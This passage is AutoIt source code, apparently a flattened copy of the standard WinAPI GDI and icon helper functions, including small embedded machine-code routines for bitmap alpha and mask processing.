- Func _winapi_createdibsection($hdc, $tbitmapinfo, $iusage, ByRef $pbits, $hsection = 0, $ioffset = 0)
- $pbits = 0
- Local $aret = DllCall("gdi32.dll", "handle", "CreateDIBSection", "handle", $hdc, "struct*", $tbitmapinfo, "uint", $iusage, "ptr*", 0, "handle", $hsection, "dword", $ioffset)
- If @error OR NOT $aret[0] Then Return SetError(@error, @extended, 0)
- $pbits = $aret[4]
- Return $aret[0]
- EndFunc
- Func _winapi_createdibcolortable(Const ByRef $acolortable, $istart = 0, $iend = -1)
- If __checkerrorarraybounds($acolortable, $istart, $iend) Then Return SetError(@error + 10, @extended, 0)
- Local $tcolortable = DllStructCreate("dword[" & ($iend - $istart + 1) & "]")
- Local $icount = 1
- For $i = $istart To $iend
- DllStructSetData($tcolortable, 1, _winapi_switchcolor(__rgb($acolortable[$i])), $icount)
- $icount += 1
- Next
- Return $tcolortable
- EndFunc
- Func _winapi_createfont($iheight, $iwidth, $iescape = 0, $iorientn = 0, $iweight = $__winapiconstant_fw_normal, $bitalic = False, $bunderline = False, $bstrikeout = False, $icharset = $__winapiconstant_default_charset, $ioutputprec = $__winapiconstant_out_default_precis, $iclipprec = $__winapiconstant_clip_default_precis, $iquality = $__winapiconstant_default_quality, $ipitch = 0, $sface = "Arial")
- Local $aresult = DllCall("gdi32.dll", "handle", "CreateFontW", "int", $iheight, "int", $iwidth, "int", $iescape, "int", $iorientn, "int", $iweight, "dword", $bitalic, "dword", $bunderline, "dword", $bstrikeout, "dword", $icharset, "dword", $ioutputprec, "dword", $iclipprec, "dword", $iquality, "dword", $ipitch, "wstr", $sface)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_createfontindirect($tlogfont)
- Local $aresult = DllCall("gdi32.dll", "handle", "CreateFontIndirectW", "struct*", $tlogfont)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_createrectrgn($ileftrect, $itoprect, $irightrect, $ibottomrect)
- Local $aresult = DllCall("gdi32.dll", "handle", "CreateRectRgn", "int", $ileftrect, "int", $itoprect, "int", $irightrect, "int", $ibottomrect)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_createroundrectrgn($ileftrect, $itoprect, $irightrect, $ibottomrect, $iwidthellipse, $iheightellipse)
- Local $aresult = DllCall("gdi32.dll", "handle", "CreateRoundRectRgn", "int", $ileftrect, "int", $itoprect, "int", $irightrect, "int", $ibottomrect, "int", $iwidthellipse, "int", $iheightellipse)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_createsolidbrush($icolor)
- Local $aresult = DllCall("gdi32.dll", "handle", "CreateSolidBrush", "INT", $icolor)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_getbitmapdimension($hbitmap)
- Local $tobj = DllStructCreate($tagbitmap)
- Local $aret = DllCall("gdi32.dll", "int", "GetObject", "handle", $hbitmap, "int", DllStructGetSize($tobj), "struct*", $tobj)
- If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
- Return _winapi_createsize(DllStructGetData($tobj, "bmWidth"), DllStructGetData($tobj, "bmHeight"))
- EndFunc
- Func _winapi_getsyscolorbrush($iindex)
- Local $aresult = DllCall("user32.dll", "handle", "GetSysColorBrush", "int", $iindex)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_gettextextentpoint32($hdc, $stext)
- Local $tsize = DllStructCreate($tagsize)
- Local $isize = StringLen($stext)
- Local $aret = DllCall("gdi32.dll", "bool", "GetTextExtentPoint32W", "handle", $hdc, "wstr", $stext, "int", $isize, "struct*", $tsize)
- If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
- Return $tsize
- EndFunc
- Func _winapi_gettextmetrics($hdc)
- Local $ttextmetric = DllStructCreate($tagtextmetric)
- Local $aret = DllCall("gdi32.dll", "bool", "GetTextMetricsW", "handle", $hdc, "struct*", $ttextmetric)
- If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
- Return $ttextmetric
- EndFunc
- Func _winapi_getwindowrgn($hwnd, $hrgn)
- Local $aresult = DllCall("user32.dll", "int", "GetWindowRgn", "hwnd", $hwnd, "handle", $hrgn)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_isalphabitmap($hbitmap)
- $hbitmap = _winapi_copybitmap($hbitmap)
- If NOT $hbitmap Then Return SetError(@error + 20, @extended, 0)
- Local $aret, $ierror = 0
- Do
- Local $tdib = DllStructCreate($tagdibsection)
- If (NOT _winapi_getobject($hbitmap, DllStructGetSize($tdib), $tdib)) OR (DllStructGetData($tdib, "bmBitsPixel") <> 32) OR (DllStructGetData($tdib, "biCompression")) Then
- $ierror = 1
- ExitLoop
- EndIf
- $aret = DllCall("user32.dll", "int", "CallWindowProc", "ptr", __alphaproc(), "ptr", 0, "uint", 0, "struct*", $tdib, "ptr", 0)
- If @error OR ($aret[0] = -1) Then
- $ierror = @error + 10
- ExitLoop
- EndIf
- Until 1
- _winapi_deleteobject($hbitmap)
- If $ierror Then Return SetError($ierror, 0, 0)
- Return $aret[0]
- EndFunc
- Func _winapi_ptinrect(ByRef $trect, ByRef $tpoint)
- Local $aresult = DllCall("user32.dll", "bool", "PtInRect", "struct*", $trect, "struct", $tpoint)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_redrawwindow($hwnd, $trect = 0, $hregion = 0, $iflags = 5)
- Local $aresult = DllCall("user32.dll", "bool", "RedrawWindow", "hwnd", $hwnd, "struct*", $trect, "handle", $hregion, "uint", $iflags)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_setwindowrgn($hwnd, $hrgn, $bredraw = True)
- Local $aresult = DllCall("user32.dll", "int", "SetWindowRgn", "hwnd", $hwnd, "handle", $hrgn, "bool", $bredraw)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- #EndRegion Public Functions
- #Region Embedded DLL Functions
- Func __alphaproc()
- Static $pproc = 0
- If NOT $pproc Then
- If @AutoItX64 Then
- $pproc = __init(Binary("0x48894C240848895424104C894424184C894C24205541574831C050504883EC28" & "48837C24600074054831C0EB0748C7C0010000004821C0751F488B6C24604883" & "7D180074054831C0EB0748C7C0010000004821C07502EB0948C7C001000000EB" & "034831C04821C0740C48C7C0FFFFFFFF4863C0EB6F48C744242800000000488B" & "6C24604C637D04488B6C2460486345084C0FAFF849C1E7024983C7FC4C3B7C24" & "287C36488B6C24604C8B7D184C037C24284983C7034C897C2430488B6C243080" & "7D0000740C48C7C0010000004863C0EB1348834424280471A54831C04863C0EB" & "034831C04883C438415F5DC3"))
- Else
- $pproc = __init(Binary("0x555331C05050837C241C00740431C0EB05B80100000021C075198B6C241C837D" & "1400740431C0EB05B80100000021C07502EB07B801000000EB0231C021C07407" & "B8FFFFFFFFEB4FC70424000000008B6C241C8B5D048B6C241C0FAF5D08C1E302" & "83C3FC3B1C247C288B6C241C8B5D14031C2483C303895C24048B6C2404807D00" & "007407B801000000EB0C8304240471BE31C0EB0231C083C4085B5DC21000"))
- EndIf
- EndIf
- Return $pproc
- EndFunc
- Func __andproc()
- Static $pproc = 0
- If NOT $pproc Then
- If @AutoItX64 Then
- $pproc = __init(Binary("0x48894C240848895424104C894424184C894C2420554157415648C7C009000000" & "4883EC0848C704240000000048FFC875EF4883EC284883BC24A0000000007405" & "4831C0EB0748C7C0010000004821C00F85840000004883BC24A8000000007405" & "4831C0EB0748C7C0010000004821C07555488BAC24A000000048837D18007405" & "4831C0EB0748C7C0010000004821C07522488BAC24A800000048837D18007405" & "4831C0EB0748C7C0010000004821C07502EB0948C7C001000000EB034831C048" & "21C07502EB0948C7C001000000EB034831C04821C07502EB0948C7C001000000" & "EB034831C04821C0740B4831C04863C0E9D701000048C74424280000000048C7" & "44243000000000488BAC24A00000004C637D0849FFCF4C3B7C24300F8C9C0100" & "0048C74424380000000048C74424400000000048C744244800000000488BAC24" & "A00000004C637D0449FFCF4C3B7C24480F8CDB000000488BAC24A00000004C8B" & "7D184C037C24284983C7034C897C2450488B6C2450807D000074264C8B7C2440" & "4C8B74243849F7DE4983C61F4C89F148C7C00100000048D3E04909C74C897C24" & "4048FF4424384C8B7C24384983FF1F7E6F4C8B7C244049F7D74C897C244048C7" & "442458180000004831C0483B4424587F3D488BAC24A80000004C8B7D184C037C" & "24604C897C24504C8B7C2440488B4C245849D3FF4C89F850488B6C2458588845" & "0048FF4424604883442458F871B948C74424380000000048C744244000000000" & "48834424280448FF4424480F810BFFFFFF48837C24380074794C8B7C244049F7" & "D74C8B74243849F7DE4983C6204C89F148C7C0FFFFFFFF48D3E04921C74C897C" & "244048C7442458180000004831C0483B4424587F3D488BAC24A80000004C8B7D" & "184C037C24604C897C24504C8B7C2440488B4C245849D3FF4C89F850488B6C24" & "585888450048FF4424604883442458F871B948FF4424300F814AFEFFFF48C7C0" & "010000004863C0EB034831C04883C470415E415F5DC3"))
- Else
- $pproc = __init(Binary("0x555357BA0800000083EC04C70424000000004A75F3837C243800740431C0EB05" & "B80100000021C07562837C243C00740431C0EB05B80100000021C0753F8B6C24" & "38837D1400740431C0EB05B80100000021C075198B6C243C837D1400740431C0" & "EB05B80100000021C07502EB07B801000000EB0231C021C07502EB07B8010000" & "00EB0231C021C07502EB07B801000000EB0231C021C0740731C0E969010000C7" & "042400000000C7442404000000008B6C24388B5D084B3B5C24040F8C3F010000" & "C744240800000000C744240C00000000C7442410000000008B6C24388B5D044B" & "3B5C24100F8CA90000008B6C24388B5D14031C2483C303895C24148B6C241480" & "7D0000741C8B5C240C8B7C2408F7DF83C71F89F9B801000000D3E009C3895C24" & "0CFF4424088B5C240883FB1F7E578B5C240CF7D3895C240CC744241818000000" & "31C03B4424187F2D8B6C243C8B5D14035C241C895C24148B5C240C8B4C2418D3" & "FB538B6C241858884500FF44241C83442418F871CBC744240800000000C74424" & "0C0000000083042404FF4424100F8145FFFFFF837C240800745B8B5C240CF7D3" & "8B7C2408F7DF83C72089F9B8FFFFFFFFD3E021C3895C240CC744241818000000" & "31C03B4424187F2D8B6C243C8B5D14035C241C895C24148B5C240C8B4C2418D3" & "FB538B6C241858884500FF44241C83442418F871CBFF4424040F81AFFEFFFFB8" & "01000000EB0231C083C4205F5B5DC21000"))
- EndIf
- EndIf
- Return $pproc
- EndFunc
- Func __xorproc()
- Static $pproc = 0
- If NOT $pproc Then
- If @AutoItX64 Then
- $pproc = __init(Binary("0x48894C240848895424104C894424184C894C24205541574831C050504883EC28" & "48837C24600074054831C0EB0748C7C0010000004821C0751B48837C24680074" & "054831C0EB0748C7C0010000004821C07502EB0948C7C001000000EB034831C0" & "4821C074084831C04863C0EB7748C7442428000000004C637C24584983C7FC4C" & "3B7C24287C4F4C8B7C24604C037C24284C897C2430488B6C2430807D00007405" & "4831C0EB0748C7C0010000004821C0741C4C8B7C24684C037C24284983C7034C" & "897C2430488B6C2430C64500FF48834424280471A148C7C0010000004863C0EB" & "034831C04883C438415F5DC3"))
- Else
- $pproc = __init(Binary("0x555331C05050837C241C00740431C0EB05B80100000021C07516837C24200074" & "0431C0EB05B80100000021C07502EB07B801000000EB0231C021C0740431C0EB" & "5AC70424000000008B5C241883C3FC3B1C247C3E8B5C241C031C24895C24048B" & "6C2404807D0000740431C0EB05B80100000021C074168B5C2420031C2483C303" & "895C24048B6C2404C64500FF8304240471B6B801000000EB0231C083C4085B5D" & "C21000"))
- EndIf
- EndIf
- Return $pproc
- EndFunc
- #EndRegion Embedded DLL Functions
- #Region Internal Functions
- Func __init($ddata)
- Local $ilength = BinaryLen($ddata)
- Local $aret = DllCall("kernel32.dll", "ptr", "VirtualAlloc", "ptr", 0, "ulong_ptr", $ilength, "dword", 4096, "dword", 64)
- If @error OR NOT $aret[0] Then __fatalexit(1, "Error allocating memory.")
- Local $tdata = DllStructCreate("byte[" & $ilength & "]", $aret[0])
- DllStructSetData($tdata, 1, $ddata)
- Return $aret[0]
- EndFunc
- #EndRegion Internal Functions
- #Region Global Variables and Constants
- Global Const $di_mask = 1
- Global Const $di_image = 2
- Global Const $di_normal = 3
- Global Const $di_compat = 4
- Global Const $di_defaultsize = 8
- Global Const $di_nomirror = 16
- Global Const $display_device_attached_to_desktop = 1
- Global Const $display_device_multi_driver = 2
- Global Const $display_device_primary_device = 4
- Global Const $display_device_mirroring_driver = 8
- Global Const $display_device_vga_compatible = 16
- Global Const $display_device_removable = 32
- Global Const $display_device_disconnect = 33554432
- Global Const $display_device_remote = 67108864
- Global Const $display_device_modespruned = 134217728
- #EndRegion Global Variables and Constants
- #Region Functions list
- #EndRegion Functions list
- #Region Public Functions
- Func _winapi_createcompatibledc($hdc)
- Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleDC", "handle", $hdc)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_deletedc($hdc)
- Local $aresult = DllCall("gdi32.dll", "bool", "DeleteDC", "handle", $hdc)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_drawedge($hdc, $trect, $iedgetype, $iflags)
- Local $aresult = DllCall("user32.dll", "bool", "DrawEdge", "handle", $hdc, "struct*", $trect, "uint", $iedgetype, "uint", $iflags)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_drawframecontrol($hdc, $trect, $itype, $istate)
- Local $aresult = DllCall("user32.dll", "bool", "DrawFrameControl", "handle", $hdc, "struct*", $trect, "uint", $itype, "uint", $istate)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_drawicon($hdc, $ix, $iy, $hicon)
- Local $aresult = DllCall("user32.dll", "bool", "DrawIcon", "handle", $hdc, "int", $ix, "int", $iy, "handle", $hicon)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_drawiconex($hdc, $ix, $iy, $hicon, $iwidth = 0, $iheight = 0, $istep = 0, $hbrush = 0, $iflags = 3)
- Local $ioptions
- Switch $iflags
- Case 1
- $ioptions = $di_mask
- Case 2
- $ioptions = $di_image
- Case 3
- $ioptions = $di_normal
- Case 4
- $ioptions = $di_compat
- Case 5
- $ioptions = $di_defaultsize
- Case Else
- $ioptions = $di_nomirror
- EndSwitch
- Local $aresult = DllCall("user32.dll", "bool", "DrawIconEx", "handle", $hdc, "int", $ix, "int", $iy, "handle", $hicon, "int", $iwidth, "int", $iheight, "uint", $istep, "handle", $hbrush, "uint", $ioptions)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_drawtext($hdc, $stext, ByRef $trect, $iflags)
- Local $aresult = DllCall("user32.dll", "int", "DrawTextW", "handle", $hdc, "wstr", $stext, "int", -1, "struct*", $trect, "uint", $iflags)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_enumdisplaydevices($sdevice, $idevnum)
- Local $tname = 0, $iflags = 0, $adevice[5]
- If $sdevice <> "" Then
- $tname = DllStructCreate("wchar Text[" & StringLen($sdevice) + 1 & "]")
- DllStructSetData($tname, "Text", $sdevice)
- EndIf
- Local Const $tagdisplay_device = "dword Size;wchar Name[32];wchar String[128];dword Flags;wchar ID[128];wchar Key[128]"
- Local $tdevice = DllStructCreate($tagdisplay_device)
- Local $idevice = DllStructGetSize($tdevice)
- DllStructSetData($tdevice, "Size", $idevice)
- Local $aret = DllCall("user32.dll", "bool", "EnumDisplayDevicesW", "struct*", $tname, "dword", $idevnum, "struct*", $tdevice, "dword", 1)
- If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
- Local $in = DllStructGetData($tdevice, "Flags")
- If BitAND($in, $display_device_attached_to_desktop) <> 0 Then $iflags = BitOR($iflags, 1)
- If BitAND($in, $display_device_primary_device) <> 0 Then $iflags = BitOR($iflags, 2)
- If BitAND($in, $display_device_mirroring_driver) <> 0 Then $iflags = BitOR($iflags, 4)
- If BitAND($in, $display_device_vga_compatible) <> 0 Then $iflags = BitOR($iflags, 8)
- If BitAND($in, $display_device_removable) <> 0 Then $iflags = BitOR($iflags, 16)
- If BitAND($in, $display_device_modespruned) <> 0 Then $iflags = BitOR($iflags, 32)
- $adevice[0] = True
- $adevice[1] = DllStructGetData($tdevice, "Name")
- $adevice[2] = DllStructGetData($tdevice, "String")
- $adevice[3] = $iflags
- $adevice[4] = DllStructGetData($tdevice, "ID")
- Return $adevice
- EndFunc
- Func _winapi_fillrect($hdc, $trect, $hbrush)
- Local $aresult
- If IsPtr($hbrush) Then
- $aresult = DllCall("user32.dll", "int", "FillRect", "handle", $hdc, "struct*", $trect, "handle", $hbrush)
- Else
- $aresult = DllCall("user32.dll", "int", "FillRect", "handle", $hdc, "struct*", $trect, "dword_ptr", $hbrush)
- EndIf
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_framerect($hdc, $trect, $hbrush)
- Local $aresult = DllCall("user32.dll", "int", "FrameRect", "handle", $hdc, "struct*", $trect, "handle", $hbrush)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_getbkmode($hdc)
- Local $aresult = DllCall("gdi32.dll", "int", "GetBkMode", "handle", $hdc)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_getdc($hwnd)
- Local $aresult = DllCall("user32.dll", "handle", "GetDC", "hwnd", $hwnd)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_getdcex($hwnd, $hrgn, $iflags)
- Local $aret = DllCall("user32.dll", "handle", "GetDCEx", "hwnd", $hwnd, "handle", $hrgn, "dword", $iflags)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aret[0]
- EndFunc
- Func _winapi_getdevicecaps($hdc, $iindex)
- Local $aresult = DllCall("gdi32.dll", "int", "GetDeviceCaps", "handle", $hdc, "int", $iindex)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_gettextcolor($hdc)
- Local $aret = DllCall("gdi32.dll", "dword", "GetTextColor", "handle", $hdc)
- If @error OR ($aret[0] = 4294967295) Then Return SetError(@error, @extended, -1)
- Return __rgb($aret[0])
- EndFunc
- Func _winapi_getwindowdc($hwnd)
- Local $aresult = DllCall("user32.dll", "handle", "GetWindowDC", "hwnd", $hwnd)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_printwindow($hwnd, $hdc, $bclient = False)
- Local $aret = DllCall("user32.dll", "bool", "PrintWindow", "hwnd", $hwnd, "handle", $hdc, "uint", $bclient)
- If @error Then Return SetError(@error, @extended, False)
- Return $aret[0]
- EndFunc
- Func _winapi_releasedc($hwnd, $hdc)
- Local $aresult = DllCall("user32.dll", "int", "ReleaseDC", "hwnd", $hwnd, "handle", $hdc)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_restoredc($hdc, $iid)
- Local $aret = DllCall("gdi32.dll", "bool", "RestoreDC", "handle", $hdc, "int", $iid)
- If @error Then Return SetError(@error, @extended, False)
- Return $aret[0]
- EndFunc
- Func _winapi_savedc($hdc)
- Local $aret = DllCall("gdi32.dll", "int", "SaveDC", "handle", $hdc)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aret[0]
- EndFunc
- Func _winapi_setbkcolor($hdc, $icolor)
- Local $aresult = DllCall("gdi32.dll", "INT", "SetBkColor", "handle", $hdc, "INT", $icolor)
- If @error Then Return SetError(@error, @extended, -1)
- Return $aresult[0]
- EndFunc
- Func _winapi_setbkmode($hdc, $ibkmode)
- Local $aresult = DllCall("gdi32.dll", "int", "SetBkMode", "handle", $hdc, "int", $ibkmode)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_settextcolor($hdc, $icolor)
- Local $aresult = DllCall("gdi32.dll", "INT", "SetTextColor", "handle", $hdc, "INT", $icolor)
- If @error Then Return SetError(@error, @extended, -1)
- Return $aresult[0]
- EndFunc
- Func _winapi_twipsperpixelx()
- Local $hdc, $itwipsperpixelx
- $hdc = _winapi_getdc(0)
- Local Const $__winapiconstant_logpixelsx = 88
- $itwipsperpixelx = 1440 / _winapi_getdevicecaps($hdc, $__winapiconstant_logpixelsx)
- _winapi_releasedc(0, $hdc)
- Return $itwipsperpixelx
- EndFunc
- Func _winapi_twipsperpixely()
- Local $hdc, $itwipsperpixely
- $hdc = _winapi_getdc(0)
- Local Const $__winapiconstant_logpixelsy = 90
- $itwipsperpixely = 1440 / _winapi_getdevicecaps($hdc, $__winapiconstant_logpixelsy)
- _winapi_releasedc(0, $hdc)
- Return $itwipsperpixely
- EndFunc
- #EndRegion Public Functions
- #Region Internal Functions
- #EndRegion Internal Functions
- #Region Global Variables and Constants
- #EndRegion Global Variables and Constants
- #Region Functions list
- #EndRegion Functions list
- #Region Public Functions
- Global Const $tagiconinfo = "bool Icon;dword XHotSpot;dword YHotSpot;handle hMask;handle hColor"
- Func _winapi_addicontransparency($hicon, $ipercent = 50, $bdelete = False)
- Local $tbitmap, $hdib = 0, $hresult = 0
- Local $ahbitmap[2]
- Local $ticoninfo = DllStructCreate($tagiconinfo)
- Local $aret = DllCall("user32.dll", "bool", "GetIconInfo", "handle", $hicon, "struct*", $ticoninfo)
- If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
- For $i = 0 To 1
- $ahbitmap[$i] = DllStructGetData($ticoninfo, $i + 4)
- Next
- Local $ierror = 0
- Do
- $hdib = _winapi_copybitmap($ahbitmap[1])
- If NOT $hdib Then
- $ierror = 20
- ExitLoop
- EndIf
- $tbitmap = DllStructCreate($tagbitmap)
- If (NOT _winapi_getobject($hdib, DllStructGetSize($tbitmap), $tbitmap)) OR (DllStructGetData($tbitmap, "bmBitsPixel") <> 32) Then
- $ierror = 21
- ExitLoop
- EndIf
- $aret = DllCall("user32.dll", "lresult", "CallWindowProc", "PTR", __transparencyproc(), "hwnd", 0, "uint", $ipercent, "wparam", DllStructGetPtr($tbitmap), "lparam", 0)
- If @error OR NOT $aret[0] Then
- $ierror = @error + 30
- ExitLoop
- EndIf
- If $aret[0] = -1 Then
- $hresult = _winapi_createemptyicon(DllStructGetData($tbitmap, "bmWidth"), DllStructGetData($tbitmap, "bmHeight"))
- Else
- $hresult = _winapi_createiconindirect($hdib, $ahbitmap[0])
- EndIf
- If NOT $hresult Then $ierror = 22
- Until 1
- If $hdib Then
- _winapi_deleteobject($hdib)
- EndIf
- For $i = 0 To 1
- If $ahbitmap[$i] Then
- _winapi_deleteobject($ahbitmap[$i])
- EndIf
- Next
- If $ierror Then Return SetError($ierror, 0, 0)
- If $bdelete Then
- _winapi_destroyicon($hicon)
- EndIf
- Return $hresult
- EndFunc
- Func _winapi_copyicon($hicon)
- Local $aresult = DllCall("user32.dll", "handle", "CopyIcon", "handle", $hicon)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_create32bithicon($hicon, $bdelete = False)
- Local $ahbitmap[2], $hresult = 0
- Local $adib[2][2] = [[0, 0], [0, 0]]
- Local $ticoninfo = DllStructCreate($tagiconinfo)
- Local $aret = DllCall("user32.dll", "bool", "GetIconInfo", "handle", $hicon, "struct*", $ticoninfo)
- If @error Then Return SetError(@error, @extended, 0)
- If NOT $aret[0] Then Return SetError(10, 0, 0)
- For $i = 0 To 1
- $ahbitmap[$i] = DllStructGetData($ticoninfo, $i + 4)
- Next
- If _winapi_isalphabitmap($ahbitmap[1]) Then
- $adib[0][0] = _winapi_createandbitmap($ahbitmap[1])
- If NOT @error Then
- $hresult = _winapi_createiconindirect($ahbitmap[1], $adib[0][0])
- EndIf
- Else
- Local $tsize = _winapi_getbitmapdimension($ahbitmap[1])
- Local $asize[2]
- For $i = 0 To 1
- $asize[$i] = DllStructGetData($tsize, $i + 1)
- Next
- Local $hsrcdc = _winapi_createcompatibledc(0)
- Local $hdstdc = _winapi_createcompatibledc(0)
- Local $hsrcsv, $hdstsv
- For $i = 0 To 1
- $adib[$i][0] = _winapi_createdib($asize[0], $asize[1])
- $adib[$i][1] = $__g_vext
- $hsrcsv = _winapi_selectobject($hsrcdc, $ahbitmap[$i])
- $hdstsv = _winapi_selectobject($hdstdc, $adib[$i][0])
- _winapi_bitblt($hdstdc, 0, 0, $asize[0], $asize[1], $hsrcdc, 0, 0, 12583114)
- _winapi_selectobject($hsrcdc, $hsrcsv)
- _winapi_selectobject($hdstdc, $hdstsv)
- Next
- _winapi_deletedc($hsrcdc)
- _winapi_deletedc($hdstdc)
- $aret = DllCall("user32.dll", "lresult", "CallWindowProc", "ptr", __xorproc(), "ptr", 0, "uint", $asize[0] * $asize[1] * 4, "wparam", $adib[0][1], "lparam", $adib[1][1])
- If NOT @error AND $aret[0] Then
- $hresult = _winapi_createiconindirect($adib[1][0], $ahbitmap[0])
- EndIf
- EndIf
- For $i = 0 To 1
- _winapi_deleteobject($ahbitmap[$i])
- If $adib[$i][0] Then
- _winapi_deleteobject($adib[$i][0])
- EndIf
- Next
- If NOT $hresult Then Return SetError(11, 0, 0)
- If $bdelete Then
- _winapi_destroyicon($hicon)
- EndIf
- Return $hresult
- EndFunc
- Func _winapi_createemptyicon($iwidth, $iheight, $ibitsperpel = 32)
- Local $hxor = _winapi_createdib($iwidth, $iheight, $ibitsperpel)
- Local $hand = _winapi_createdib($iwidth, $iheight, 1)
- Local $hdc = _winapi_createcompatibledc(0)
- Local $hsv = _winapi_selectobject($hdc, $hand)
- Local $hbrush = _winapi_createsolidbrush(16777215)
- Local $trect = _winapi_createrect(0, 0, $iwidth, $iheight)
- _winapi_fillrect($hdc, $trect, $hbrush)
- _winapi_deleteobject($hbrush)
- _winapi_selectobject($hdc, $hsv)
- _winapi_deletedc($hdc)
- Local $hicon = _winapi_createiconindirect($hxor, $hand)
- Local $ierror = @error
- If $hxor Then
- _winapi_deleteobject($hxor)
- EndIf
- If $hand Then
- _winapi_deleteobject($hand)
- EndIf
- If NOT $hicon Then Return SetError($ierror + 10, 0, 0)
- Return $hicon
- EndFunc
- Func _winapi_createicon($hinstance, $iwidth, $iheight, $iplanes, $ibitspixel, $pandbits, $pxorbits)
- Local $aret = DllCall("user32.dll", "handle", "CreateIcon", "handle", $hinstance, "int", $iwidth, "int", $iheight, "byte", $iplanes, "byte", $ibitspixel, "struct*", $pandbits, "struct*", $pxorbits)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aret[0]
- EndFunc
- Func _winapi_createiconfromresourceex($pdata, $isize, $bicon = True, $ixdesiredpixels = 0, $iydesiredpixels = 0, $iflags = 0)
- Local $aret = DllCall("user32.dll", "handle", "CreateIconFromResourceEx", "ptr", $pdata, "dword", $isize, "bool", $bicon, "dword", 196608, "int", $ixdesiredpixels, "int", $iydesiredpixels, "uint", $iflags)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aret[0]
- EndFunc
- Func _winapi_createiconindirect($hbitmap, $hmask, $ixhotspot = 0, $iyhotspot = 0, $bicon = True)
- Local $ticoninfo = DllStructCreate($tagiconinfo)
- DllStructSetData($ticoninfo, 1, $bicon)
- DllStructSetData($ticoninfo, 2, $ixhotspot)
- DllStructSetData($ticoninfo, 3, $iyhotspot)
- DllStructSetData($ticoninfo, 4, $hmask)
- DllStructSetData($ticoninfo, 5, $hbitmap)
- Local $aret = DllCall("user32.dll", "handle", "CreateIconIndirect", "struct*", $ticoninfo)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aret[0]
- EndFunc
- Func _winapi_destroyicon($hicon)
- Local $aresult = DllCall("user32.dll", "bool", "DestroyIcon", "handle", $hicon)
- If @error Then Return SetError(@error, @extended, False)
- Return $aresult[0]
- EndFunc
- Func _winapi_extracticon($sicon, $iindex, $bsmall = False)
- Local $plarge, $psmall, $tptr = DllStructCreate("ptr")
- If $bsmall Then
- $plarge = 0
- $psmall = DllStructGetPtr($tptr)
- Else
- $plarge = DllStructGetPtr($tptr)
- $psmall = 0
- EndIf
- DllCall("shell32.dll", "uint", "ExtractIconExW", "wstr", $sicon, "int", $iindex, "ptr", $plarge, "ptr", $psmall, "uint", 1)
- If @error Then Return SetError(@error, @extended, 0)
- Return DllStructGetData($tptr, 1)
- EndFunc
- Func _winapi_extracticonex($sfilepath, $iindex, $palarge, $pasmall, $iicons)
- Local $aresult = DllCall("shell32.dll", "uint", "ExtractIconExW", "wstr", $sfilepath, "int", $iindex, "struct*", $palarge, "struct*", $pasmall, "uint", $iicons)
- If @error Then Return SetError(@error, @extended, 0)
- Return $aresult[0]
- EndFunc
- Func _winapi_fileiconinit($brestore = True)
- Local $aret = DllCall("shell32.dll", "int", 660, "int", $brestore)
- If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
- Return 1
- EndFunc
- Func _winapi_geticondimension($hicon)
- Local $ticoninfo = DllStructCreate($tagiconinfo)
- Local $aret = DllCall("user32.dll", "bool", "GetIconInfo", "handle", $hicon, "struct*", $ticoninfo)
- If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
- Local $tsize = _winapi_getbitmapdimension(DllStructGetData($ticoninfo, 5))
- For $i = 4 To 5
- _winapi_deleteobject(DllStructGetData($ticoninfo, $i))
- Next
- If NOT IsDllStruct($tsize) Then Return SetError(20, 0, 0)
- Return $tsize
- EndFunc
- Func _winapi_geticoninfo($hicon)
